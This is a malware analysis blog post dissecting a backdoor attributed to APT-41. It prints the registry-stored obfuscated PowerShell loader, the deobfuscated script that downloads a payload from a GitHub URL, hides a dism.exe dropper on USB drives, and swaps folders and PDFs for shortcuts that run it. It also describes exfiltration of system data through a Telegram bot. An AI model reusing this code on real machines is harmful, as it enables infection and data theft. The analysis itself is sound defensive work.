APT-41 Backdoor Analysis

Bilal Bakartepe
7 min readJun 19, 2023

--

We hear a lot of things about backdoors that are often used or dropped in planned cyberattacks. In this article, we will analyze a backdoor crafted by the APT-41 group. Let’s begin…

Executable Analysis

You can reach the malwarebazaar link and you can analyse too.

The sample are not packed so analysing not too hard. So, let’s go.

Figure 1

If we skip some parts, we can see there are some registry operations. In the figure1, Registry set operation has been done. Some importants things:

The key name to set:

HKEY_CURRENT_USER-> Software\Classes\abcdfile\shell\open\command value is ‘default’

Content of the key:

Script 1

Then, another registry set operation is done. The key name to set:

HKEY_CURRENT_USER-> Software\Classes\abcdfile\shell\open\command value is ‘abcd’

Content of the key:

Base64 String

There is two registry we have to analyse. One of them is obfuscated powershell script and the other one is deobfuscator script.

Let’s analyse..

In Script1, the SyncAppvPublishingServer.vbs file is run with a powershell script parameter and cmd will be terminated after it runs.

To understand this, we need to examine the contents of SyncAppvPublishingServer.vbs. Let’s see what’s up:

Option Explicit


Dim g_cmdArgs
g_cmdArgs = ""


' main entrance

' Enable error handling
On Error Resume Next

ParseCmdLine

if g_cmdArgs = "" Then
Wscript.echo "Command line arguments are required."
Wscript.quit 0
End If

Dim syncCmd
syncCmd = "$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); " & _
"import-module AppvClient; " & _
"Sync-AppvPublishingServer " & g_cmdArgs

Dim psCmd
psCmd = "powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{" & syncCmd & "}"


Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run psCmd, 0


' Reset error handling
On Error Goto 0
WScript.Quit 0



'---------------------------------------------------------------------------------------------
' Sub: ParseCmdLine
' Reading the parameters provided by the user in the command line
'---------------------------------------------------------------------------------------------
Sub ParseCmdLine()

dim objArgs
dim argsCount
dim x

Set objArgs = Wscript.Arguments
argsCount = objArgs.count

x = 0
While x < argsCount
g_cmdArgs = g_cmdArgs & " " & objArgs(x)
x = x + 1
Wend

End Sub

If we look in detail, we will see a function that parses arguments.

Sub ParseCmdLine()

dim objArgs
dim argsCount
dim x

Set objArgs = Wscript.Arguments
argsCount = objArgs.count

x = 0
While x < argsCount
g_cmdArgs = g_cmdArgs & " " & objArgs(x)
x = x + 1
Wend

End Sub

The parsed arguments in this function are kept in a variable named g_cmdArgs. So where is this variable used?

Dim syncCmd
syncCmd = "$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); " & _
"import-module AppvClient; " & _
"Sync-AppvPublishingServer " & g_cmdArgs

Dim psCmd
psCmd = "powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{" & syncCmd & "}"


Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run psCmd, 0

As you can see, the given argument is run as a shell object.

Parameters given to powershell.exe in psCmd variable

As can be understood from the shell code above, “script1” is defined in the “syncCmd” variable and executed. Then we can examine the script

sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'');[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\abcdfile\shell\open\command' -Name 'abcd').'abcd')|%% -Begin{$i=0} -Process{$_ = $_ -bxor $i%%256;$i++;$_}))|abcd

The Base64 string in the abcd value of the ‘HKEY_CLASSES_ROOT\abcdfile\shell\open\command’ registry key is converted to a byte array. All bytes are then xored with numbers from 0 to 255, respectively. The resulting code after parsing is executed.

After a few deobfuscations, the following powershell script appears.

Deobfuscated Powershell Script First Part
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;
$ErrorActionPreference="Continue";
$a="api.telegram.org";
do{
Sleep(Get-Random 100)
}while((iwr $a).StatusCode -ne 200)

It sends a request to ‘api.telegram.org’ using iwr, namely Invoke-WebRequest. Thus, when the computer it is on is connected to the internet and the ‘api.telegram.org’ address is not in the black list, it will continue to work, otherwise it will send a random request to the ‘api.telegram.org’ address and wait for a response.

After successful response, we see a query assignment:

$Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2";

When this query runs, it brings the information of the hard drives from the disk drives in the device in the last 5 seconds. Some disk drives and drive types:

  • 0: Unknown
  • 1: None (Target disk does not exist)
  • 2: Hard Disk
  • 3: Portable Disk
  • 4: Network Connection
  • 5: Optic Disk Driver
  • 6: RAM Disk

When we examine the next line, we can see that the same query is running this time. After that, specific actions will be performed for each of the hard drives in the device. Let’s take a look at what these processes are:

if($null -eq $_){return}
try{Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}catch{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}
cp "$env:temp\xxx\*" -Destination "$_\dism" -Recurse -Force;rm "$env:temp\xxx" -Force -Recurse
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}
(Gi "$_\*.pdf" -force)|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()

The operations are divided into three:

  • Downloading Malware
  • Creation shortcut for folders in directories
  • Creation shortcut for pdf files in directories

Downloading Malware

try{Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}catch{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}
cp "$env:temp\xxx\*" -Destination "$_\dism" -Recurse -Force;rm "$env:temp\xxx" -Force -Recurse
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";

As seen above, it downloads a .gif zip file from ‘https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif’ to the tmp directory. Then the downloaded zip is extracted and copied as a folder named dism on the current disk and deleted from the tmp folder.

After copying, a bat file named ‘system’ is created in the disk directory. The contents of the file are as follows:

@echo off`ncd %cd%dism`nstart dism.exe`nexit

This bat file enables the malicious software named dism.exe located in the dism folder to run.

Create Shortcut from Directories

(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}

As you can see, shortcuts are created for all folders except dism’,’$RECYCLE.BIN’,’System Volume Information’ folders. The important point here is the structures of the created shortcuts. As you can see, there is also the system.bat file in the arguments of the shortcuts. Here, when the user clicks on these shortcuts, he/she thinks that he/she has opened the folder, but in fact he/she will have also run the system.bat file.

Create Shortcut from PDF Files

(Gi "$_\*.pdf" -force)|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()

Just like directories, shortcuts for pdf files are also created. When the user opens the pdf file, they will also have run the system.bat file.

So far we have only examined the contents of two variables. So how are these variables used? Let’s examine the rest of the script.

Deobfuscated Powershell Script Second Part

Specifies the predefined query and action to take by creating a WmiEvent. Thus, the codes we reviewed above run.

When we continue to examine, we see that a request is sent to the ‘http://ip-api.com/json’ address until successful responses are received. Some system information is collected after successful response. These:

  • IPv4 information, If the device has a connection with any gateway
  • Model information
  • OS information
  • Hard disk information on the system
  • Computer name
  • List of Antivirus software available on the system
  • Sistem üzerindeki kullanıcı yetkisi bilgisi

This collected information is transmitted from the telegram to a channel by using the token belonging to a telegram bot, which is probably in the response after the last request. Is it over? Of course not :D

Deobfuscated Powershell Script Third Part

After sending the collected information, the mentioned Telegram bot checks whether it has received any new messages. It retrieves a list of names from the incoming message and compares it with the computer name it obtains from the system. If the computer name on the current system is found in the retrieved list, it forwards the collected information back to another channel to which the received message belongs.

In this article, I try to explain techniqe details of a backdoor dropped by APT41 Group. I hope it was be helpful. You can click here to review the APT report we prepared for the group. Stay tuned for more info :))

Github

Instagram

Twitter

--

--

Bilal Bakartepe

I am a Malware Analyst and Reverse Engineering Researcher. I insterested in Operating System and Low Level Things.